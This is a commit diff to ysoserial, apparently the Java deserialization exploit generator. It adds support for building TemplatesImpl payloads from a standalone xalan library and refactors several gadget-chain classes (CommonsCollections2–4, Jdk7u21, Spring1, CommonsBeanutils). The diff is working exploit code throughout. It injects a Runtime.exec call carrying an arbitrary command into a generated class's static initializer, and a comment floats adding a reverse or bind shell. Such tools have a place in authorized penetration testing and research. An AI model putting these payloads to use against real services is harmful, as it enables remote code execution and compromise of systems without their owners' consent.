Add ability to generate TemplatesImpl payloads with an actual non-shaded xalan implementation.

pom.xml

@@ -132,4 +132,22 @@
 			<version>4.1.4.RELEASE</version>
 		</dependency>
 	</dependencies>
+	
+	<profiles>
+		<profile>
+			<id>xalan</id>
+			<activation>
+				<property>
+					<name>properXalan</name>
+				</property>
+			</activation>
+			<dependencies>
+				<dependency>
+					<groupId>xalan</groupId>
+					<artifactId>xalan</artifactId>
+					<version>2.7.2</version>
+				</dependency>
+			</dependencies>
+		</profile>
+	</profiles>
 </project>

src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java

@@ -10,14 +10,12 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+@SuppressWarnings({ "rawtypes", "unchecked" })
-
-@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
 public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
 
 	public Object getObject(final String command) throws Exception {
-		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final BeanComparator comparator = new BeanComparator("lowestSetBit");
 

src/main/java/ysoserial/payloads/CommonsCollections2.java

@@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 /*
 	Gadget chain:
@@ -24,12 +23,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 								Runtime.exec()
  */
 
-@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
 
 	public Queue<Object> getObject(final String command) throws Exception {
-		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
 

src/main/java/ysoserial/payloads/CommonsCollections3.java

@@ -17,19 +17,18 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 
 /*
  * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
  * InvokerTransformer.
  */
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
 
 	public Object getObject(final String command) throws Exception {
-		TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
+		Object templatesImpl = Gadgets.createTemplatesImpl(command);
 
 		// inert chain for setup
 		final Transformer transformerChain = new ChainedTransformer(

src/main/java/ysoserial/payloads/CommonsCollections4.java

@@ -16,7 +16,6 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 
 /*
@@ -28,7 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
 
 	public Queue<Object> getObject(final String command) throws Exception {
-		TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		Object templates = Gadgets.createTemplatesImpl(command);
 
 		ConstantTransformer constant = new ConstantTransformer(String.class);
 

src/main/java/ysoserial/payloads/Jdk7u21.java

@@ -11,7 +11,6 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 /*
 
@@ -51,12 +50,12 @@ LinkedHashSet.readObject()
                                 Runtime.exec()
  */
 
-@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies()
 public class Jdk7u21 implements ObjectPayload<Object> {
 
 	public Object getObject(final String command) throws Exception {
-		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		final Object templates = Gadgets.createTemplatesImpl(command);
 
 		String zeroHashCodeStr = "f5a5a608";
 

src/main/java/ysoserial/payloads/Spring1.java

@@ -15,8 +15,6 @@ import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
-
 /*
 	Gadget chain:
 	
@@ -46,12 +44,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
  */
 
-@SuppressWarnings({"restriction", "rawtypes"})
+@SuppressWarnings({"rawtypes"})
 @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
 public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 	
 	public Object getObject(final String command) throws Exception {
-		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		final Object templates = Gadgets.createTemplatesImpl(command);
 		
 		final ObjectFactory objectFactoryProxy = 
 				Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -4,7 +4,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA
 
 import java.io.Serializable;
 import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
@@ -12,6 +14,7 @@ import java.util.Map;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
+import ysoserial.payloads.util.Gadgets.StubTransletPayload;
 
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -24,7 +27,7 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 /*
  * utility generator functions for common jdk-only gadgets
  */
-@SuppressWarnings("restriction")
+@SuppressWarnings({"restriction", "rawtypes", "unchecked"})
 public class Gadgets {
 	static {
 		// special case for using TemplatesImpl gadgets with a SecurityManager enabled
@@ -72,18 +75,34 @@ public class Gadgets {
 		return map;
 	}
 	
-	public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
+
-		final TemplatesImpl templates = new TemplatesImpl();
+    public static Object createTemplatesImpl ( final String command ) throws Exception {
+        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
+            return createTemplatesImpl(
+                command,
+                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
+                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
+                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
+        }
+
+        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
+    }
+
+	public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
+	    final T templates = tplClass.newInstance();
 
 		// use template gadget class
-		ClassPool pool = ClassPool.getDefault();
+	    ClassPool pool = ClassPool.getDefault();
-		pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
+        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
-		final CtClass clazz = pool.get(StubTransletPayload.class.getName());
+        pool.insertClassPath(new ClassClassPath(abstTranslet));
+        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
 		// run command in static initializer
 		// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
 		clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
 		// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
 		clazz.setName("ysoserial.Pwner" + System.nanoTime());
+		CtClass superC = pool.get(abstTranslet.getName());
+        clazz.setSuperclass(superC);
 
 		final byte[] classBytes = clazz.toBytecode();
 
@@ -97,4 +116,21 @@ public class Gadgets {
 		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 		return templates;
 	}
+	
+
+    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
+            IllegalAccessException, InvocationTargetException {
+        HashMap s = new HashMap();
+        Reflections.setFieldValue(s, "size", 2);
+
+        Class nodeC = Class.forName("java.util.HashMap$Node");
+        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
+        nodeCons.setAccessible(true);
+
+        Object tbl = Array.newInstance(nodeC, 2);
+        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
+        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
+        Reflections.setFieldValue(s, "table", tbl);
+        return s;
+    }
 }